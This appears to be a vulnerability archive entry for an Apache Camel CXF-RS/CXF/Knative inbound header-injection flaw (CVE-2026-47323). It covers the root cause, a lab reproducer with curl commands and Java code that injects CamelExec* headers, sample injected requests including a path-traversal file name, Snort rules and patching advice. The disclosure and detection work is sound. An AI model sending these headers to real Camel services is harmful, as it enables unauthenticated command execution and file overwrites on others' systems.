PoC Archive PoC Archive
CVE-2026-47323 category: web CVSS 9.8 (CRITICAL)
Patched

Apache Camel CXF-RS / CXF / Knative Inbound Header Injection to RCE (CVE-2026-47323)

Published: 2026-11-27 • Researcher: Andrea Cosentino (GitHub: oscerd), Apache Camel committer, for the reproducer; vulnerability discovered and reported by Quac Tran

Target software Apache Camel: camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy) and camel-knative-http (KnativeHttpHeaderFilterStrategy)
Affected versions From 3.18.0 before 4.14.6; from 4.15.0 before 4.18.2; 4.19.0. The reproducer pins **4.18.1**, the last affected 4.18.x release. Fixed in 4.14.6, 4.18.2 and 4.19.0
Status Weaponized (complete self-driving lab reproducer: victim CXF-RS route feeding a camel-exec sink, attacker driver that injects the headers, and an on-disk success check; not rebuilt or executed while preparing this entry)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-47323 (Apache Camel security advisory)
Category
web
Affected product
Apache Camel: camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy) and camel-knative-http (KnativeHttpHeaderFilterStrategy)
Affected versions
From 3.18.0 before 4.14.6; from 4.15.0 before 4.18.2; 4.19.0. The reproducer pins **4.18.1**, the last affected 4.18.x release. Fixed in 4.14.6, 4.18.2 and 4.19.0
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-17 (upstream commit b0f632e, “Add CVE-2026-47323 reproducer: camel-cxf-rest inbound header injection”)
Author / ResearcherAndrea Cosentino (GitHub: oscerd), Apache Camel committer, for the reproducer; vulnerability discovered and reported by Quac Tran
CVE / AdvisoryCVE-2026-47323 (Apache Camel security advisory)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); EPSS 0.016. Note the divergence: the Apache advisory itself rates the issue Medium, NVD rates it Critical.
StatusWeaponized (complete self-driving lab reproducer: victim CXF-RS route feeding a camel-exec sink, attacker driver that injects the headers, and an on-disk success check; not rebuilt or executed while preparing this entry)
TagsRCE, header injection, Apache Camel, CXF-RS, CXF, Knative, JAX-RS, camel-exec, Java, unauthenticated, CWE-178, CWE-791
RelatedN/A (same class as the archived camel-jms entry pocs/network/2026-11-27_cve-2026-40860-camel-jms/, but a distinct CVE and component)

Affected Target

FieldValue
Software / SystemApache Camel: camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy) and camel-knative-http (KnativeHttpHeaderFilterStrategy)
Versions AffectedFrom 3.18.0 before 4.14.6; from 4.15.0 before 4.18.2; 4.19.0. The reproducer pins 4.18.1, the last affected 4.18.x release. Fixed in 4.14.6, 4.18.2 and 4.19.0
Language / PlatformJava 17+, Maven 3.8+, Spring Boot 3.2.0, Apache CXF 4.1.5 (Undertow HTTP transport); Docker optional
Authentication RequiredNo — the injected headers are honoured regardless of who sends them; only the endpoint’s own authentication (if the application adds any) stands in the way
Network Access RequiredYes — a single HTTP request to the CXF-RS / CXF-SOAP / Knative listener (TCP/9000 for the CXF-RS endpoint in this reproducer; TCP/8080 fronts the demo controller)

Summary

Apache Camel’s CXF-RS, CXF-SOAP and Knative HTTP header-filter strategies filter Camel-internal headers only on the outbound path and never configure the inbound filter set. An unauthenticated attacker can therefore send an ordinary HTTP request carrying Camel control headers such as the exec command executable and argument headers, and the CXF binding copies them onto the Camel exchange unfiltered. If the route forwards the message to a header-driven producer such as camel-exec or camel-file, the injected header overrides the value the developer configured, yielding remote code execution or arbitrary file writes as the Camel process. The issue is fixed in Camel 4.14.6, 4.18.2 and 4.19.0.

Vulnerability Details

Root Cause

The three affected strategies only register an outbound prefix filter:

Java source
1
2
3
// CxfRsHeaderFilterStrategy.initialize() - affected (4.18.1 and earlier)
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// missing: setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);

Because the inbound filter prefix set is empty, applyFilterToExternalHeaders() returns false for every header name, including the entire Camel* control namespace. DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() walks the inbound HTTP headers and, on a false result, writes the header straight onto the Camel message:

Java source
1
2
3
4
5
6
7
8
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // dropped - but with no inbound filter, "CamelExecCommandExecutable" is never dropped
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // attacker-controlled
    }
}

The camel-exec producer then deliberately prefers message headers over the endpoint URI. Per org.apache.camel.component.exec.ExecBinding, the header CamelExecCommandExecutable “overrides executable in the URI” and CamelExecCommandArgs “overrides any existing args in the URI”. The two together turn a fixed, harmless exec:echo?args=hello into arbitrary command execution. The same primitive with CamelFileName gives arbitrary file writes through camel-file.

Attack Vector

An HTTP request to any CXF-RS, CXF-SOAP or Knative-HTTP consumer whose route later reaches a header-driven producer. The attacker only adds request headers; the request path, method and body are irrelevant. In the reproducer:

Output
GET /service/api/ping HTTP/1.1
Host: 127.0.0.1:9000
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

No authentication, no session, no payload encoding, no gadget chain.

Impact

Arbitrary command execution with the privileges of the JVM running the Camel application (in the container image, root). Secondary impact via the same root cause: arbitrary file write or overwrite through camel-file (CamelFileName), and steering of any other producer that consumes Camel* control headers — for example changing a mail recipient, a JMS destination or an FTP path. Confidentiality, integrity and availability are all fully compromised, which is what drives the 9.8 NVD score.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker host); eclipse-temurin:17-jre in the container
Target:      Self-contained Spring Boot app (pom.xml) with Apache Camel 4.18.1
             camel-cxf-rest + camel-exec, publishing a JAX-RS endpoint on port 9000
Attacker:    The bundled /exploit/attack controller (or curl from the Docker host)
Tools:       JDK 17, Maven 3.8+, curl, Docker / docker compose

Setup Steps

Shell script
1
2
mvn clean package -DskipTests
docker compose up -d --build     # or: java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &

The application starts two listeners: the CXF-RS endpoint on TCP/9000 (/service/api/ping, the “victim”) and the Spring MVC demo controller on TCP/8080 (/exploit/attack, the “attacker”). Nothing else is required — there is no broker, no database and no external service.

Proof of Concept

Step-by-Step Reproduction

  1. Build and start the reproducer — see the setup steps above; wait for the Camel context to report started.

    Shell script
    1
    2
    
    mvn clean package -DskipTests
    docker compose up -d --build
  2. Confirm the route works normally — the configured command is a harmless echo hello, so nothing is written to disk.

    Shell script
    1
    2
    
    curl -s http://localhost:9000/service/api/ping
    ls -l /tmp/pwned    # No such file
  3. Send the same request with two injected headers — the route now runs /usr/bin/touch /tmp/pwned.

    Shell script
    1
    2
    3
    4
    
    curl -s http://localhost:9000/service/api/ping \
      -H 'CamelExecCommandExecutable: /usr/bin/touch' \
      -H 'CamelExecCommandArgs: /tmp/pwned'
    ls -l /tmp/pwned    # created, owned by the JVM user
  4. Or let the bundled driver do steps 2 and 3 and diff the results — the controller deletes the marker, calls the endpoint cleanly, then calls it with the headers, and polls for the marker.

    Shell script
    1
    
    curl -s http://localhost:8080/exploit/attack
  5. Tear down — docker compose down (the marker lives inside the container filesystem).

Exploit Code

See src/main/java/com/example/ExploitController.java (the attacker driver), src/main/java/com/example/VictimRoute.java (the vulnerable route) and src/main/java/com/example/ApiResource.java (the JAX-RS contract) in this folder.

The entire exploit is the two headers in call():

Java source
1
2
3
4
5
6
if (executable != null) {
    // Not filtered on the inbound side -> lands on the Exchange and overrides the configured command.
    b.header("CamelExecCommandExecutable", executable);
    b.header("CamelExecCommandArgs", args);
}
return http.send(b.build(), HttpResponse.BodyHandlers.ofString()).body();

and the vulnerable route it is aimed at:

Java source
1
2
3
4
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
        .routeId("victim-cxfrs")
        .to("exec:echo?args=hello")   // author expects "hello"; the header says otherwise
        .setBody(constant("ok\n"));

Expected Output

Output
marker before: false

=== 1) Legitimate request (no injected headers) ===
  response: ok
  marker created: false

=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true

Note the response body is ok in both cases — the injection is silent from the caller’s perspective, and the marker file is the only proof. This output is the upstream author’s documented result; it was not reproduced by this archive when the entry was written (execution is out of scope for archival).

Detection & Indicators of Compromise

Inbound HTTP requests carrying Camel* header names are the single strongest signal; legitimate external clients have no reason to send them.

Output
GET /service/api/ping HTTP/1.1  200  -  CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned
CamelFileName: ../../../../tmp/evil.sh
CamelExecCommandWorkingDir: /tmp
Output
java ... -> /usr/bin/touch /tmp/pwned
java ... -> /bin/sh -c "<anything>"

Snort / Suricata (example):

Output
alert http any any -> any any (msg:"CVE-2026-47323 Camel control-header injection attempt"; \
  content:"CamelExecCommandExecutable"; http_header; nocase; sid:90047323; rev:1;)
alert http any any -> any any (msg:"CVE-2026-47323 Camel file header injection attempt"; \
  content:"CamelFileName"; http_header; nocase; sid:90047324; rev:1;)

Hunting queries: search WAF, CDN and ingress logs for any request header whose name starts with Camel (case-insensitive) originating from outside the trusted network.

Remediation

ActionDetail
PatchUpgrade Apache Camel to 4.14.6, 4.18.2 or 4.19.0. The fixed strategies call setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), so inbound Camel* / camel* headers are dropped at the binding layer
WorkaroundAt the top of every route fed by CXF-RS, CXF-SOAP or Knative, strip the namespace: .removeHeaders("Camel*") and .removeHeaders("camel*") before any downstream producer. Do the same for any interceptor or route that copies external headers
Config HardeningRequire authentication/authorisation and network segmentation on CXF and Knative listeners; never expose a JAX-RS endpoint that feeds camel-exec, camel-file, camel-mail, camel-sql or camel-script to untrusted networks. Avoid camel-exec in request-driven routes
DetectionAlert on inbound headers matching ^[Cc]amel at the edge proxy or WAF

References

Notes

Verdict: ingested as a genuine, non-malicious vulnerability reproducer. The repository contains real exploit logic that performs the attack (a header-injecting HTTP client aimed at a deliberately vulnerable route), plus the vulnerable route and JAX-RS contract needed to reproduce it. It is not a scanner, not a template, and contains no C2, persistence, evasion or credential-theft code. The only side effect of the exploit is creating a marker file (/usr/bin/touch /tmp/pwned), and the author explicitly frames it as a demonstration against a fixed CVE.

License: the upstream repository ships no LICENSE file. Only the README’s own disclaimer (“for security research and authorized testing only, for a publicly disclosed and fixed vulnerability”) applies, so treat the code as all-rights-reserved by the author rather than as Apache-2.0; the Apache Camel code it targets is Apache-2.0.

Limitations / caveats:

  • The PoC was not built or executed while preparing this entry, so the expected output above is the author’s, not an independently confirmed result. The mechanism is nevertheless verified against upstream source: ExecBinding.EXEC_COMMAND_EXECUTABLE / EXEC_COMMAND_ARGS document that these headers override the endpoint URI, and the advisory names them as the injected headers.
  • The demonstration is self-driving: ExploitController calls 127.0.0.1:9000 from inside the same JVM, and docker-compose.yml only publishes 8080. A genuinely remote attacker would send the identical headers to the CXF-RS port directly; port 9000 is not exposed to the host by default, so external exploitation requires that listener to be reachable.
  • The lab proves command execution with touch plus an on-disk marker. It does not show a reverse shell or command output exfiltration; the response body is overwritten with ok by the route, so a real attacker would use a blind, side-effect-based command (as here) or a callback.
  • Preconditions are significant and keep real-world exposure below the raw 9.8: the route must forward the message from a CXF-RS/CXF-SOAP/Knative endpoint into a header-driven producer, and the endpoint must be reachable. The Apache project’s own Medium rating reflects that reachability requirement, in contrast to NVD’s Critical.
  • Trivially blocked by .removeHeaders("Camel*") or by upgrading; the fix is a one-line change per strategy class. Related, already-fixed instances of the same pattern: CVE-2025-27636, CVE-2025-29891 (camel-core incoming header filter), CVE-2025-30177 (camel-undertow), CVE-2026-40453 (non-HTTP strategies).